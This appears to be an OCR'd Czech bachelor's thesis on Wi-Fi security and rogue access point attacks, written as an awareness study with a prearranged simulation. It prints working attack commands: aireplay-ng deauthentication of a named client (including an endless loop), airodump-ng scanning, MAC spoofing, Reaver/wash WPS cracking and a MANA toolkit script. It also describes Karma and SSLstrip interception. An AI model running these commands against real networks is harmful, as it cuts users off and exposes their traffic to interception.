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Anotace

Tato bakalatska prace se v ivodu zabyva obecnym zabezpecenim Wi-Fi routeru. Konkrétné se
zde zabyvam chybami v zabezpeceni, které utocnik mize zneuzit pro nastaveni falesného
ptistupového bodu. V teoretické casti dale popisuji metodologii tto¢nika pfti ¢inu. V dalsi
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prakticka ¢ast je simulace utoku s pfedem domluvenou skupinou lidi. Zavére¢nym vystupem
prace jsou sepsany vysledky ze simulace testovani a ziskané informace z ankety.

Anotation

This thesis begins with a general security of Wi-Fi router. Specifically, | deal with
vulnerabilities that an attacker can use to set up a rogue access point. In theoretical part
I describe the striker’s methodology in the act. In the other important part of work i
point out on the legislation which is in this proces violated. The main practical part is a
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are the results of simulation and informations earned from survey.
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1 Uvod

Bezdratové sité Wi-Fi jsou dnes pro obecnou vefejnost nepouzivanéjsim
nastrojem ke komunikaci s internetem. Tato bezdratova technologie se dnes
vyuziva napfiklad v hotelich, Skolach, firmach, kavarnach a dalsich vefejnych
mistech. Wi-Fi je nedilna soucast notebookti, mobilnich telefonti, tabletti, pda a
dalSich zafizeni. VétSina lidi nemda ponéti o rizicich, kterd mohou nastat skrze
pripojeni na bezdratovou sit. A tak ji plné vyuzivaji pro komunikaci, bézné
surfovani, nebo pro praci scitlivymi udaji, databadzi ¢i elektronickym
bankovnictvim. V pfipadé utoku na tuto komunikaci mtize dojit ke kritickym
nasledkiim. V mé préci se zabyvam konkrétné metodou, ktera se provadi skrze
faleSny pfistupovy bod, kdy se utocnik dostavda do pozice uprostred
komunikace. Pro uzivatele se takovy pfistupovy bod tvaiijako dtivéryhodny.

Velké tuskali této problematiky spocivd v ndrocnosti pro utocnika.
Nemusi disponovat drahym hardwarem ani softwarem, postaci bézné
dostupné nastroje. Budeme-li vychdzet z téchto poznatki, mélo by se na tuto
oblast brat vétsi zretel. Touto praci se snazim poukdzat vefejnosti, jakym

zpusobem je utoénik muze obelstit a jak by méli pfizptisobit své chovani.



2 Bezpecnost v bezdratové siti

V dnes$ni dob¢ je trendem predavani informaci v elektronické podobég. VétSina
téchto informaci jsou duvérné, proto je zabezpeCeni nedilnou soucdsti dnesni
komunikace s internetem. Bezpe¢na komunikace se povazuje za takovou, kterda ma
zajiSténou duavérnost, integritu a autenti¢nost. Wi-Fi sité¢ bohuzel nevykazuji idealni
podminky pro bezpecnou komunikaci. Proto by uzivatelé méli byt obezietni, a to
obzvlast na vefejnych mistech, kde je pravdépodobnost napadeni enormné zvysena.

V této bakalatské praci se zabyvam situaci, kdy uto¢nik duplikuje realny
ptistupovy bod. Pro takovy utok musi zajistit spravnou konfiguraci. To zahrnuje

odhaleni typu zabezpeceni, hesla a ndzvu site.

Divérnost dat

Je to cinnost, jejimz Ukolem je zajiSténi necitelnosti zpravy béhem cesty
datovym tokem. Musime piedpokladat, ze se datovy tok da odposlouchavat a je nutné
zajistit kvalitni Sifrovani. Cilem Sifrovani je pifevést data do podoby, kdy jsou pro

uto¢nika nevyuzitelna.

Integrita dat

Dalsi pfipad problému je ten, kdy zprava bude odchycena, pozménéna a
odeslana pravému adresatovi. V tomto pfipad€ nemd napadany ponéti o tom, Ze zprava
byla pozménéna. Tyka se to prevazné utoku typu ,,Man-in-the-middle®, kdy se uto¢nik

dostane do pozice mezic¢lanku sité a dokaze fidit datovy tok.

Autentiza¢ni opatieni

V siti musime pfedpokladat i to, Ze se bude Gto¢nik vydavat za konkrétni osobu.
Ptechazime do situace, kdy je nutné zavést takovy systém piihlaSovacich udaji, aby obé
strany nabyvaly jistoty, ze druha je strana tou, za kterou se vydava. Davam zde za

ptiklad RADIUS, jakozto autentiza¢ni protokol vyuzivany v IEEE 802.1x.



2.1 Bezpecnostni mechanizmy AP

V soucasné dob¢ je nékolik zptlisobu, jak sit’ zabezpecit. Nékteré metody jsou
jednoduché, které dokaze obejit i Gto¢nik s minimalnimi znalostmi. V této kapitole se

budu zabyvat konkrétnimi ptiklady zabezpeceni.

2.1.1 SKRrYTi SSID

SSID se rozumi jako identifikator sité, na jehoz zaklad¢ se uzivatel pfipojuje do
sit€. Skrytim SSID sit€¢ pro okoli zvySujeme bezpe€nost sit€¢ pfed nezadoucim
vniknutim. Skryti tohoto identifikatoru se mize nazyvat jako nulté zabezpeceni Wi-Fi.
Bez tohoto identifikatoru se nelze obvyklym zpiisobem pfipojit, a tim vytvatime dalsi
neznamou, kterou musi uto¢nik rozlustit. N&ktera zafizeni tuto vlastnost bohuzel

nepodporuji.
2.1.2 FILTR MAC

Dalsi zpiisob zabezpeceni je filtrovanim MAC adres piipojenych zatizeni
respektive jejich sitovymi kartami. MAC adresa na sitové karté je jedinecnd oproti
ostatnim sitovym kartam, proto se to jevi jako dokonal¢ zabezpeceni. V ptistupovém
bod¢ nastavime tedy pouze dané adresy, s kterymi chceme navazovat spojeni. Zatizeni

s jinymi MAC adresami bude ignorovat.

2.1.3 WEP

Zkratka WEP Wired Equivalent Privacy v ptekladu znamena ,,bezpecné jako
kabel “. WEP protokol byl jednim z prvnich mechanizmi zabezpeceni Wi-Fi siti. Lze ho
vyuzit pro autentizaci a pro zabezpeceni pienaSenych dat. Cilem tohoto protokolu bylo
poskytnout uzivateli takové zabezpeCeni v bezdratové siti, aby bylo srovnatelné se
zabezpecenim v metalickych sitich.

Je podmnozinou protokolu 802.11, kde se nefe$i sprava klict. Pouziva pro
utajeni prenaSenych dat Sifrovaci algoritmus RC4 se sdilenym klicem 40 nebo 104 bith
a dynamicky ménici se vektor dlouhy 24 bitd. Dohromady tak tvoii 64bitové nebo
128bitové Sifrovani. Pro kontrolu integrity se pouziva metoda CRC-32 kontrolniho

souctu. Toto zabezpeceni se vSak brzy ukézalo jako nedostatecné. WEP skryva mnoho



slabin a prolomeni tohoto zabezpeceni je mozné uz béhem nékolika malo minut za
provozu na siti.
Reakci na vazné bezpecnostni nedostatky v predchozim systému WEP bylo

piijato koncem roku 2002 docasné bezpecénostni feSeni pod oznacenim WPA.

2.1.4 WPA

Zkratka WPA znamena Wi-Fi Protected Access Vv piekladu ,,chrdneny pristup
kWi-Fi“. WPA bylo navrzeno roku 2002 k nahrazeni WEP. Je zpétn¢ slucitelné s

vvvvvv

firmwaru a zacit vyuzivat WPA.

TKIP

Oproti WEP je zde dynamické generovani kli¢t. A to zajistuje protokol TKIP,
ktery zde pfinesl zasadni zlepseni z hlediska bezpe¢nosti. Utoénik tudiz nema moznost
odchytit dostatek paketli se stejnym kli¢em, kde by byl pouzit Gtok jako u pfedchoziho
WEP.

Sifrovani u WPA

Dtlezitost byla kladena i na Sifrovani. WPA pouziva 128 bitovy Sifrovaci kli¢ a
48 bitovy inicializa¢ni vektor. U WEP byl pouzivan algoritmus CRC-32, ktery byl
jednoduchy. WPA pouziva lepsi MIC algoritmus, zvany Michael. Zahrnuje pocitani
ramct, které chrani pted utoky, jenz se pokousi zopakovat ptedchozi odposlouchanou

komunikaci.

Autentizace

K velkému zlepseni se zde ptidalo i U autentizace, a to protokolem IEEE 802.1x.
Je zde nadefinovano ovéfovani uzivatele s heslem, nikoli uz jen zatizeni. Ovétovani je
vzajemné, a to jak od pfistupového bodu uzivatele, tak i1 naopak, ¢imz dochazi

k eliminovani pted podvrzenymi ptistupovymi body (dale jako AP).
2.1.5 WPA?2

Jako finalni nahrada za WEP (WPA) byl v roce 2004 schvalen dodatek 802.111,
ktery je oznaCovan také jako WPA2. Tak jako WPA i WPA2 v sob& obsahuje



oboustrannou autentizaci na zaklad¢ standardu 802.1x. Mezi rozsifeni bezpecnosti
WPAZ2 patii novy protokol CCMP. Tento protokol ma silnou metodou Sifrovani, ktera
kone¢né nahrazuje Sifru RC4 z WEP. Protokol TKIP je pivodni metoda z WPA je zde

ponechan z divodu kompatibility se star§Sim hardware.

Autentizace

Pozadavky na autentizaci jsou vzdy jiné. V domadci siti bude vyzadovano
predevsim co nejjednodussi nastaveni pomoci sdileného hesla. Oproti tomu ve firemni
uzivateli. Proto se vnormé 802.11i vyuzivaji dvé odlisné metody autentizace, a to
WPA s PSK a WPA vyuzivajici EAP. Ob¢ je mozné kombinovat s TKIP.

PSK

Tato metoda je uréena piedevS§im pro mensi nebo domadci sité. Pouziva
autentizaci pomoci pfedem sdilené¢ho klice PSK. Tento 256 bitovy kli¢ se nepouziva
pfimo k Sifrovani, ale pro odvozeni dalSich klict. Podstata celého problému je ta, Ze se

klice pro Sifrovani pravidelné méni.

EAP
Dostavame se tady k metodé, ktera je urcena pro vétsi sité. Klade se zde diraz
na vysokou bezpe€nost. Tento protokol podporuje rizné metody autentizace. Mize

vyuZivat naptiklad jednorazové hesla, digitalni certifikat nebo Cipové karty.

PEAP

Jeden z protokolit EAP, ktery je kompatibilni s vétsinou Wi-Fi zafizeni, vyuziva
TLS kvytvofeni zaSifrovaného kanalu. Mezi pocCitaCem v bezdratové siti a
ovétovatelem PEAP muze byt naptiklad sluzba RADIUS. Protokol neurcuje metodu
oveéfovani, ale pfispivd k zabezpefeni ostatnich protokold. Cilem této metody je

napravit nedostatky Sifrovani v komunikacnich kanalech.

MS-CHAPvV2
Je to protokol, ktery ovefuje na zdkladé hesel. Je hojné vyuzivan jako metoda

pro ovéteni v sitich VPN. Sam o sobé miize byt i potenciondlné nezabezpeceny, proto je



doporucena implementace PEAP protokolu. Na protokolu PEAP-MS-CHAPv2 s TKIP
sifrovanim pracuje i projekt pod jménem eduroam. Jedna se o sit’, ktera je i u nas na
JCU. Uzivatelé tudiz musi vlastnit uéet, aby je mohl server RADIUS autentizovat a

povolit pfipojeni.

Ovérovani ma nésledujici prab¢h:

e Pristupovy bod si vyzadéa pozadavek na autentizaci.

e Klient vytvoii odpovéd, kterd obsahuje heslo, jméno a port, ptes ktery je
pfipojen.

e PoZadavek je odeslan piistupovym bodem na RADIUS server, ktery jej
zhodnoti.

e Pokud neni zadna odezva, pozadavek se opakuje.

e Pokud RADIUS neovéii spravnost, odesle zamitnuti pfistupu.

e Pii uspéSné autentizaci ptichazi kladna odpovéd skrze pftistupovy bod a

klient dostava povoleni k pfipojeni na port.

2.2 Hrozby a ttoky

2.2.1 ODHALENI SSID

Pokud AP nevysila vlastni SSID, musi uzivatelé pro ptipojeni SSID znat.
Jakmile se klient pfipojuje k AP, posila v asociacnim ramci SSID v oteviené podobé.

V tu chvili je Gito¢nik schopny odposlechnout SSID.

CH 10 ][ Elapsed: 48 s ]

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:39:D5:5D:61 -46 35 39 0 6 54 OPN <length: 9>
1C:3E:B4:26:4B:E1 -80 30 €] 0 1 54e OPN

00:1A:30:64:76:81 -B83 17 €] c] 3 54e. WPA TKIP PSK

BSSID STATION PWR Rate Lost Frames Probe

(not associated) 00:CO:CA:59:2D:78 c] 0 -1 [¢] 11

00:18:39:05:5D:61 0G0:0E:2E:CF:8C:7C -54 0 -24 19 32

Obrazek 1: Monitorovani sité bez SSID

Na obrazku si muizete povSimnout ¢asti, kde se v ESSID zobrazuje pouze

<lenght: 9> misto pravého nazvu sité.



Pred pfipojenim uzivatel vyhledavd AP pomoci probe ramce, v némz je jméno
hledaného bodu a na to mu AP odpovida, opét se svym SSID a to nezavisle na
nastaveni. Proto uto¢nikovi staCi pouze monitorovat ramce vysilané AP, nepotiebuje

odposlouchavat uzivatele.

Vysledek vypada néasledovné:
CH 6 ][ Elapsed: 14 mins ]

BSSID PWR RXQ Beacons #Data, #/s CH MB  ENC CIPHER AUTH ESSID

00:18:39:D5:50:61 -53 1060 7666 6815 2 6 54 OPN dd_hidden

Obrazek 2: Odhaleni SSID

Zachyceni SSID z ramcti umi napiiklad nastroj ,,Kismet™ nebo ,,Aircrack-ng®.
Jsou to univerzalni nastroje, které umi jak vyhledavat, ale také i odposlouchavat
bezdratové sité. Funguji na OS Linux.

Jak vidime, odhaleni SSID pro uto¢nika neni zadny problém. I pfesto muze
skryti SSID napomoci k zabezpeceni sité. A to hlavné v piipadech, kdy je sit’ vyuzivana
jen ziidka. V tu chvili bude obtizné dané SSID zjistit. Skryti SSID se povazuje za

takzvané nulté zabezpefeni bezdratové sité.
2.2.2 ZMENA MAC ADRESY

Adresa karty je vypalena v paméti, ale je softwarové ménitelna. Je to nastaveno
kvali tomu, aby mohla karta fungovat jako bridge’. Proto je toto zabezpedeni pro
uto¢nika snadnou piekazkou.

Jednoduse odposlechne jednu z pouzivanych adres a pfifadi ji ke své Wi-Fi
karté. Poté pockd, az dané zatizeni bude odpojeno a dostane ptistup skrze tento filtr.

V opera¢nim systému Windows je mozné MAC adresu konfigurovat v editoru
registrti. Pod Linuxovym systémem ji mizeme zménit za pouziti piikazu: ifconfig

ethO hw ether C0:38:96:42:5F:44.

1Bridge je propojeni dvou ethernetovych segmentl tak, Ze se navenek chovaji jako jediny
segment. Jedno sitové rozhrani pfijima vSechny pakety z jednoho segmentu a druhé je pfeposila

nezménéné do druhého segmentu — s pivodni MAC adresou odesilatele.



Jak vidime, ani tento bezpeCnostni mechanizmus nezajisti bezpecnost nasi

bezdratové sité.

2.2.3 ODHALENI HESLA WEP

V roce 2000 byl algoritmus RC4 povazovan za bezpecny. Zakladnim problémem
WERP S$ifrovani je fakt, Ze k inicializa¢nimu vektoru je pfidan sdileny symetricky kli¢ a
celek je predan Siffe RC-4. To vede k moznosti vyuzit statistické utoky, protoze prvni
bajty vystupu Sifry koresponduji se zminénym klic¢em. Tuto slabinu odstranuje TKIP,
ktery je soucasti WPA.

Prakticky to funguje tak, ze Gto¢nik odposlouchava a shromazd’uje dostate¢ny
pocet paketli. Dostatecnému poctu pro 64-bitovy kli¢ se rozumi v faddech statisicl
paketl a pro 128-bitovy kli¢ az v fddech miliond. Pfi dnesni rychlosti internetu se
muzeme bavit o 20-30 minutich odposlechu pii dostatecném provozu sité. Po
nasledném shromazdéni paketl Utocnik pouziva programy, které analyzuji tento soubor
paketli. Nasledné nalezeni klice je otdzkou i nékolika minut.

WEP se proto dnes nepovazuje za bezpecné zabezpeceni. Zkusenéjsi utoénik je
schopen prolomit WEP béhem nékolika minut. Kvalitni Sifra RC4 v nespravném pouZziti
je takika k ni€emu. Jedina efektivnost tohoto zabezpefeni muize byt proti béZnym
uzivatelim, ktefi se cht&ji pouze ptipojit k internetu.

K prolomeni doslo vroce 2001. Vtu chvili bylo jasné, Zze zabezpeceni
definované standardem 802.1 je slabé a je nutno jej nahradit. Proto odstartoval vyvoj na

jiném typu zabezpeceni a to na WPA.

2.2.4 PROLOMENI WPA/\WPA2

U WEP bylo mozné pouzit k urychleni deSifrovani statistické metody. U WPA
uz toho nelze vyuzit, protoze kli¢ neni staticky. Zranitelnost v tomto zabezpeceni je
schovand ve slovnikovych utocich nebo laméani hrubou silou. Pfi zachyceni 4-way
handshake (autentizace) mezi pfistupovym bodem a klientem muiZe byt utok proveden i
off-line.

Tento utok je velmi naro¢ny na vypocetni vykon, tudiz na finance. Proto se toto
zabezpeceni pouziva v mensich sitich, kde Gtoénik bude téZce hledat zisk vétsi, nez je

finanéni naro¢nost celého utoku.



Heslo zde miize byt dlouh¢ od 8 do 63 znaki, coz velmi pfiddva na naro€nosti
prolomeni. Nejvétsi rozdil je samoziejme v tom, jestli je to bézné slovnikové slovo nebo
nahodna smésice znakii.

Prakticky utok za pomoci Kali Linuxu a nastroje Reaver

Nejedna se ptimo o prolomeni samotného hesla WPA, ale o vyuziti nespravné
implementace WPS, kdy se PIN potvrzuje uz pfi prvnich ¢tyfech uhodnutych cislech.
Nastroj Reaver se pokousi o uhadnuti WPS pinu, ze kterého néasledné dopocita samotné
heslo.

Vyhoda celého utoku je, ze router potvrzuje spravnost prvni poloviny
osmimistného PINu bez ohledu na zbytek ¢isel, tudiz se zkracuje doba prolomeni.

Reaver tak zkousi vSechny moznosti v rozsahu 0000xxxx az 9999xxxx. Z toho je
ziejmé, ze PIN zacinajici 9tkou bude casové mnohem naroc¢néjsi odhalit. Tento Utok
muze trvat az 12 hodin. Ve chvili, kdy nastroj odhali prvni ¢tvetici PINu, jde na druhou
¢ast. Posledni cislice na osmé pozici je vZzdy kontrolni soucet ptedchozich sedmi dislic,
ktery si dopocita. Je tedy nutné hledat pouze hodnoty v rozsahu xxxx000z, kde xxxx jiZ
zname zprvni faze utoku. Tento typ utoku v naSem pfipadé pomilZe Utocnikovi
k zjisténi hesla k pristupovému bodu, kdy se podle WPS PINu dopocita WPA PSK
heslo.

:~# airmon-ng start w

wlanOmon iwlwifi ation Wireless 3165 (rev 79)

:~# wash -1 wlan®mon

1 Heffner <cheffner@tacnetsol.c

WPS Locked

Obrazek 3: Hledani WPS PINu



2.2.5 DoS

Utok zvany DoS — denial of service je utok, ktery v nasem piipadé zaméstnava
pristupovy bod enormnim pocétem zbyteCnych operaci, a tim se ho snazi vyradit
Zprovozu. Na bézné operace béhem zatizeni neni schopen odpovidat, protoze
vyhodnocuje Zadosti, které mu zasila Gtocnik. Tim se tvafi pro bézné uzivatele jako
nedostupny. VétSinou se tento uUtok provadi z pravidla z vice zafizeni ovladanych
utocnikem. Tato sit’ pocitacli se nazyva botnet.

Cilem tohoto utoku je vytazeni ptistupového bodu z provozu. Nésledkem utoku
muze byt také snizeni rychlosti sité. Podobny efekt mulze zplsobit také situace
vzajemného ruseni s jinym zafizenim ve stejném pasmu. Tuto posledni metodu mize

uto¢nik vyuzivat ucelové a signal na urcité frekvenci rusit.
2.2.6 MAN IN THE MIDDLE

Tento typ utoku lze provést pouze, kdyz Uto¢nik vstupuje piimo do systému
mezi koncového uzivatele a cestu do internetu. Dosdhne toho tim, Ze naldka uZivatele na
svij AP, kdy bude smérovat veskeré operace. V nasem ptipad¢ vytvori duplicitni AP,
ktery odpovida nastavenim pivodnimu. Nastavenim se mysli stejny néazev sité, typ
zabezpe&eni a heslo, které itoénik musi ziskat. Utoénik se dostava do situace, kdy ma
na vybér. MizZe jen pasivné odposlouchdvat komunikaci nebo se stat aktivnim
prostfednikem a komunikaci ménit. Této problematice se vénuji podrobnéji v dalsi

kapitole ,,Fale$ny ptistupovy bod*.

Orig

WEB SERVER

UZIVATEL

UTOCNIK

Obrazek 4: Princip man-in-the-middle
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3 FaleSny pristupovy bod

Pojem fales$ny pfistupovy bod je znam ve svéte jako ,,Rogue access point .

Jedna se o takovy pfistupovy bod, ktery utoc¢nik nastavi jen z toho divodu, aby naldkal
uzivatele Wi-Fi pfipojeni na svij vlastni AP a mohl odposlouchavat jejich datovy
provoz. Tento AP se mize tvafit jako zndmy a zafizeni se na néj pfipoji automaticky.
Uto¢nik je nasledné schopny sbirat jejich osobni udaje jako jsou hesla, udaje o kreditni
karté ¢i informace o jiné ¢innosti skrze pfipojeni.

Z divodu popularnosti Wi-Fi je tento typ ttoku je v dne$ni dob& obrovské
potenciondlni riziko. Mista jako jsou restaurace, kavarny hotely, firmy nebo Skoly jsou
zpravidla vybaveny Wi-Fi pfipojenim. Utoénik zde s velkou pravdépodobnosti miize

podvrhnout AP a nalakat spoustu uzivatelt.

3.1 Motivace uto¢niku

Pro uto¢nika to mize byt zajimavé z n¢kolika pohledi. Existuje skupina lidi,
ktefi se tim budou pouze bavit, aniz by chtéli cilené data odposlouchavat a vyuzivat je
K nelegalni ¢innosti. Motivaci druhé skupiny bude pfedevsim tucel profitovani. Muze to
byt napiiklad odposlech tdajt, které vedou K pfistupim ke kreditnim kartdm nebo

osobnim uctim napadeného.

3.2 Postupy uto¢nika

Utoénik bude zpravidla cilit na uréitou skupinu lidi nebo jednotlivce. V prvni
fazi je dilezity vybér mista, kde bude utok provadét. Jesté nez Gtocnik pljde do terénu
spustit sviij AP, musi ho nakonfigurovat.

Konfigurace musi byt naprosto piesna, aby se automaticky uzivatel pfipojil na
podvrzeny AP. V piipad¢ zabezpecené Wi-Fi musi zjistit ptistupové heslo a zadat ho
konfigurace zabezpeceni podvrzeného AP. V opaéném piipadé, kdy se uto¢nikovi

nepodaii heslo zjistit, miZe pouZit Gtok nazyvany ,,Karma Wi-Fi attack®.

11



3.2.1 PREPOJENI UZIVATELU NA UTOCNIKA AP

Prvni faze utoku je lakéni uzivateld na sviyj piistupovy bod. Je né¢kolik zpiisobii
jak uzivatele dostat pod kontrolu.

Nejtrivialnéjsi metodou je vytvoreni otevieného piistupového bodu bez hesla, na
ktery se miize ptipojit kdokoliv S jeho védomim a na vlastni riziko.

Sofistikované€jsi metodou je utok zvany Karma. Ten odposlouchava pozadavky
(requesty), které vysilaji zafizeni s Wi-Fi pfipojenim. Requesty na jiz znamé ulozené
Wi-Fi sité. Jakmile zatizeni zjisti seznam siti, které dané zafizeni vyhledava, nabidne
mu nékterou z nich. Uzivatelovo zafizeni zjisti okolni znamou sit’ a automaticky se na
ni piipoji. Jedna se 0 Wi-Fi sité¢ nezabezpecené heslem. Tento utok zprostiedkovava
naptiklad zatizeni Wi-Fi Pineapple. DileZitost se zde klade na silu vysilaného signalu,
proto uto¢nik bude zpravidla pouzivat anténu se silnym signalem.

Obrana proti tomuto ttoku je relativné jednoducha. Staci si ze svého zatizeni
smazat veskeré ulozené Wi-Fi site, které jsou nezabezpecené. Druhy zpiisob je vypnout

automatické vyhleddvani Wi-Fi siti.
3.2.1.1 Deautentizace uzivatelii

V ptipadé, Ze cilova skupina obéti, je jiz pfipojena na svij AP, Gto¢nik voli
takzvany deautentizaéni utok, ktery je jeden znejbéznéjsich utokd typu DOS.
Deautentizani ramec je definovdn v normé IEEE 802.11. Jeho cilem je ozndmit
pfipojenému zafizeni, ze uz neni asociovany. Tyto zpravy nejsou pozadavky, ale
oznameni, proto je zafizeni pfijme. AP na zakladé poZadavku odpoji uZivatele a ten
zacne vyhledéavat nové pfipojeni.

Tento zplsob bude praktikovat Uto€nik z diivodd, aby uZivatelé ztratili pfipojeni,
tim zacnou asociovat na podvrzeny AP.

V Linuxu se na to pouziva naptiklad nastroj Aircrack-ng.

Deautentiza¢ni néstroje utocnik mize pouzivat i z jinych davodi.
a) Odchyceni SSID, které neni vysilano. Viz 2.1.1 odhaleni SSID.
b) Zachyceni handshaku pfi nové autentizaci.

¢) Utok za cilem vyfazeni zatizeni z provozu.
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Pro testovani jsem pouzil linuxovou distribuci Kali, v terminalu jsem pouzil nastroj
Aircrack-ng. V prvnim kroku jsem nastroj nechal skenovat okolni Wi-Fi sité piikazem:

airodump-ng wlan0 —c 11.

:~# airodump-ng wlan@ -c 11

CH 11 Elapsed: 0 s ][ 2016-05-11 16:40

BSSID PWR RXQ Beacons #Data, #/s MB  ENC CIPHER AUTH ESSID

10:FE: -90 100 : 54e. WPA2 CCMP PSK viia_nmaing_z
28:28:5D: -85 93 Sde WPA2 CCMP  PSK M~wm-n W
04:8D:38: -88 83 S54e WPA2 CCMP  PSK =~
F8:1A:67: -67 100 54e WPA2 CCMP  PSK WiFi-Domaci

BSSID STATION PWR Rate Lost Frames Probe
(not associated) P0:09:B0:91:3A:FD -87 4

- 0
(not associated) 00:F4:F4:01:09:6A -89 - (¢} 1
F8:1A:67:72:0F:5E B8:78:2E:81:79:2F -50 - (¢] 6

Obrazek 5: Sken okolnich Wi-Fi pomoci airodump-ng

wlan0 zde piedstavuje interface, pies které se skenuje okoli, -Cc 11 pak kanal, na kterém
je muj AP.

Timto skenem jsem zjistil, ze BSSID mého AP, je F8:1A:67:72:0F:5E. Dale
jsem zjistil BSSID pfipojen¢ho zafizeni na siti, které chci odpojit je
B8:78:2E:81:79:2F.

Po sbéru téchto informaci jsem vyslal oznamovaci deautentizacni paket piikazem:
aireplay-ng -0 1 -a F8:1A:67:72:0F:5E -c B8:78:2E:81:79:2F wlanO

:~# aireplay-ng -0 1 -a F8:1A:67:72:0F:5E -c B8:78:2E:81:79:2F wlan0

Waiting for beacon frame (BSSID: F8:1A:67:72:0F:5E) on channel 11
Sending 64 directed DeAuth. STMAC: [B8:78:2E:81:79:2F] [67]|70 ACKs]

~#

Obrazek 6: Deautentizaéni paket

Vysvétleni parametrii:
a) parametr 0 znamena deautentizace
b) parametr 1 znamena pocet vyslanych rdmct pro deautentizaci
¢) -a MAC adresa AP
d) -c MAC adresa zatizeni

Pti deautentizaci se muze cilit pfimo na nazev sité bez zjisténi MAC adresy pomoci

parametru —e SSID.
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Timto ptikazem jsem vytradil mé zafizeni na okamzik od AP. Jako trvalé vyrazeni

od AP se da pouzit piikaz:

aireplay-ng -0 0 -a F8:1A:67:72:0F:5E -c B8:78:2E:81:79:2F wlanO

Zde se druhy parametr zméni na 0 a bere se jako nekone¢ny cyklus vyslanych

deautentizaci, pak situace vypada nasledovné:

:~# aireplay-ng -0 0 -a F8:1A:67:72:0F:5E -c B8:78:2E:81:79:2F wlan0®
Waiting for beacon frame (BSSID: F8:1A:67:72:0F:5E) on channel 11

Sending 64 directed DeAuth. STMAC: [B8: Y 0|64 ACKs
0]64 ACKs
0]64 ACKs
4|64 ACKs
0]64 ACKs
0]64 ACKs
0]64 ACKs
0]64 ACKs
0|64 ACKs

Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:

Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:

0|64 ACKs
0|64 ACKs
0|64 ACKs
ACKs
ACKs
ACKs
ACKs
ACKs
ACKs

[ ]

[ ]

[ 1

[ ]

[ ]

[ ]

[ ]

[ ]

. 481:79: [ ]
Sending 64 directed DeAuth. STMAC: s :81:79: [ 0|64 ACKs]
. . [ ]
[ ]

[ 1

[ ]

[ 1

[ ]

[ 1

[ ]

[ ]

Obrazek 7: Nekone€na deautentizace

Po odpojeni uZivatele od legitimniho AP zacne zafizeni vyhledavat novou
nejoptimalngjsi sit’ a zacne s ni asociovat. Utoénik musi zajistit, aby jeho AP vysilal
veétsi signdl a vybral si pravé jeho. V té chvili nemd uto¢nik jesté¢ vibec vyhréano.
Zatizeni zjistuje, jestli je po ptfipojeni na sit’ online v internetu a odesila zkuSebni
request.

Naptiklad zatizeni IOS mé nadefinovano 200 stranek na testovani a vzdy vybere
jednu z nich, na kterou posle request a zjisti, jestli je vSe v poradku.

VSechny zafizeni typu BlackBerry, Android a Windows sta¢i request na
jakoukoliv adresu.

V tuto chvili ma utoénik dv€ moznosti. Realné¢ bude poskytovat internetové
pfipojeni pfipojenému nebo bude uzivateli fiktivné sd€lovat informace o uspéSném
pfipojeni, 1 kdyz skutecnost je jina. D4 se tim dosdhnout napiiklad pies nastro) MANA

toolkit piikazem start-noupstream.sh, kde je vse pfedem nakonfigurovano.
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3.2.1.2 Vyrazeni AP z provozu

Dalsi zpasob, jak utocnik dokéaze zvysit efektivitu svého Utoku je vyfazeni
cileného AP z provozu pomoci ruseni signalu. UZivatelé ztrati ptipojeni a budou znovu

asociovat. Na rozdil od pfedchoziho ptipadu tento utok postihne vSechny AP v okoli.

3.2.1.3 Silny signal

Zatizeni s Wi-Fi pfipojenim preferuji AP, jenz vykazuje nejpfiznivéjsi
podminky. ZvySenim signalu pomoci vykonnéjsi antény, zvySujeme Sance na pripojeni
uzivateli na podvrzeny AP. U nékterych zatizeni se da vystupni signal nastavovat
manuélné. V nékterych zemich je to nelegalni. V Ceské republice mame ze zikona

nastaven horni limit na 20 dBm.

3.2.2 VYUZITi POZICE V KOMUNIKACI

Jsme v situaci, kdy se podatilo uto¢nikovi ,,naverbovat® obét’ na svij pristupovy
bod. Utoénik zprostiedkovava internetové pfipojeni stejné jako ptvodni, takZe
oklamany uzivatel na prvni pohled nepozna, Ze komunikuje pies jiny AP. Utocnik
muze relativné snadno monitorovat sitovy provoz pomoci n¢kolika nastrojl, jednim
znich miZe byt naptiklad jeden znejznaméjSich WireShark. Z této vyhodné pozice
muze utocnik také pozménit informace odesilané serverem nebo uzivatelem.

Doposud byly popsany informace, které jsou datovany v plain-textu, nesifrované.
Existuji metody, kdy se mtize uto¢nik dostat i k Sifrovanym informacim a to napiiklad

pomoci nastroje SSLstrip.

3.2.2.1 SSLstrip

Aby utoénik dokazal odposlechnout Sifrovanou komunikaci, mize si napomoci
napiiklad timto nastrojem od autora znamym pod pseudonymem Moxie Marlinspike.
Utoénik je zde schopen oddélit komunikaci na dvé ¢asti. Jedna ¢ast komunikace je mezi
uzivatelem-utoénikem a druhd Utocnikem-serverem. Uzivatel pii komunikaci se
zabezpeCenym serverem nejdiive odesila dotaz v nezabezpeceném protokolu http, kdy
mu server odpovidd s vefejnym klicem pro navazani Sifrované komunikace. Na to
uzivatel odpovidd se svym vefejnym klicem a potvrzenim o navazani komunikace.

V nasem ptipad¢ je mezi nimi uto¢nik, ktery pfedava veskeré uzivatelovo dotazy na
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server sam. Vydava se za uzivatele a se serverem navaze HTTPs spojeni. Uto&nik
udrzuje s uzivatelem komunikaci v HTTP a veskerou komunikaci mize odposlechnout.
Uskali SSLstripu je v pfedem ulozenych zalozkach, kde je uvedeno pred adresou
https://. Uzivatel zde navazuje pfimo komunikaci v Sifrované podob¢. V tomto piipadé
se mu zobrazi varovné okno s nezabezpeCenym pfipojenim a spojeni se nenavaze.
Pozorny uzivatel by si mohl vS§imnout v URL adrese zménu protokolu z piivodniho
https na http.
V sifrované sekci pii pienosu citlivych informaci jsou servery nastaveny vzdy na
zabezpecené pripojeni HTTPs. Proto uto¢nik musi udrzovat spojeni HTTPs, aby dostal

odpovéd'. Situaci znazoriuji timto obrazkem:

HTTP ovéreni HTTPs ovéreni

